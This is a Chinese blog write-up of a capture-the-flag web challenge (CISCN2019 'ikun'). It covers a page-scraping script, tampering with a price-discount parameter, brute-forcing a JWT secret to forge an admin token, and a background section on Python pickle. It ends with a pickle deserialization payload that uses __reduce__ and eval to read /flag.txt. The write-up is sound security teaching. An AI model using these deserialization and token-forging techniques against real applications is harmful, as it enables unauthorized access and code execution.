CISCN2019 华北赛区 Day1 Web2 ikun_0x10-0x1F
一打开页面,很魔性。。
先注册个账号
下面提示一定要买到lv6
翻了好几面,没有找到,于是写了一个简单的爬虫脚本:S
注意爬虫要慢一点,buu很容易崩。
import urllib.request
import time
for i in range(0,1000):
url = 'http://272059db-2e14-4adc-ae85-8f5a64a35acb.node4.buuoj.cn:81/shop?page='+str(i)
print(url)
time.sleep(1)
response = urllib.request.urlopen(url).read().decode('utf-8')
if 'lv6.png' in response:
print(i)
break
发现在181面
不过钱却不太够,用burp抓下包试一试
发现discount=0.8,将它改小
发现只允许admin登录
仔细分析下数据包,发现了jwt,解一下码:
爆破一下(感觉这个挺靠运气和字典吧)
发现密钥为 1Kun
重新生成admin的jwt
查看源代码:
在这里发现源码泄露:
下载下来,找到一个叫admin.py的文件,打开
看到了pickle,查阅资料可知:
假设你有一个字典,你想存储它,稍后再取出来。你可以把它的内容写入一个文件,小心翼翼地确保使用了正确地格式,要把它读取出来,你可以使用 exec() 或处理文件输入。但是这种方法并不可靠:如果你使用纯文本来存储重要数据,数据很容易以多种方式被破坏或者修改,导致你的程序崩溃,更糟糕的情况下,还可能在你的计算机上运行恶意代码。因此,我们要pickle它:
import pickle
data = {'foo': [1,2,3],
'bar': ('Hello', 'world!'),
'baz': True}
jar = open('data.pkl', 'wb')
pickle.dump(data, jar) # 将pickle后的数据写入jar文件
jar.close()
过了几个小时,我们想把它取出来,我们只需要反pickle它:
import pickle
pkl_file = open('data.pkl', 'rb') # 与pickle后的数据连接
data = pickle.load(pkl_file) # 把它加载进一个变量
print data
pkl_file.close()
将会发生什么?正如你期待的,它就是我们之前的 data 。
现在,还需要谨慎地说一句: pickle并不完美。Pickle文件很容易因为事故或被故意的破坏掉。Pickling或许比纯文本文件安全一些,但是依然有可能被用来运行恶意代码。而且它还不支持跨Python版本,所以不要指望分发pickle对象之后所有人都能正确地读取。然而不管怎么样,它依然是一个强有力的工具,可以用于缓存和其他类型的持久化工作。
11.13.2. Pickle你的对象
Pickle不仅仅可以用于内建类型,任何遵守pickle协议的类都可以被pickle。Pickle协议有四个可选方法,可以让类自定义它们的行为(这和C语言扩展略有不同,那不在我们的讨论范围之内)。
- getinitargs(self)
如果你想让你的类在反pickle时调用 init ,你可以定义__getinitargs__(self) ,它会返回一个参数元组,这个元组会传递给__init__ 。注意,这个方法只能用于旧式类。
- getnewargs(self)
对新式类来说,你可以通过这个方法改变类在反pickle时传递给 new 的参数。这个方法应该返回一个参数元组。
- getstate(self)
你可以自定义对象被pickle时被存储的状态,而不使用对象的 dict 属性。 这个状态在对象被反pickle时会被 setstate 使用。
- setstate(self)
当一个对象被反pickle时,如果定义了 setstate ,对象的状态会传递给这个魔法方法,而不是直接应用到对象的 dict 属性。这个魔法方法和__getstate__ 相互依存:当这两个方法都被定义时,你可以在Pickle时使用任何方法保存对象的任何状态。
- reduce(self)
当定义扩展类型时(也就是使用Python的C语言API实现的类型),如果你想pickle它们,你必须告诉Python如何pickle它们。 reduce 被定义之后,当对象被Pickle时就会被调用。它要么返回一个代表全局名称的字符串,Pyhton会查找它并pickle,要么返回一个元组。这个元组包含2到5个元素,其中包括:一个可调用的对象,用于重建对象时调用;一个参数元素,供那个可调用对象使用;被传递给 setstate 的状态(可选);一个产生被pickle的列表元素的迭代器(可选);一个产生被pickle的字典元素的迭代器(可选);
- reduce_ex(self)
reduce_ex 的存在是为了兼容性。如果它被定义,在pickle时__reduce_ex__ 会代替 reduce 被调用。 reduce 也可以被定义,用于不支持 reduce_ex 的旧版pickle的API调用。
这里构造payload,传给become:
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
版权声明:本博客所有文章除特殊声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明出处 sakura的博客!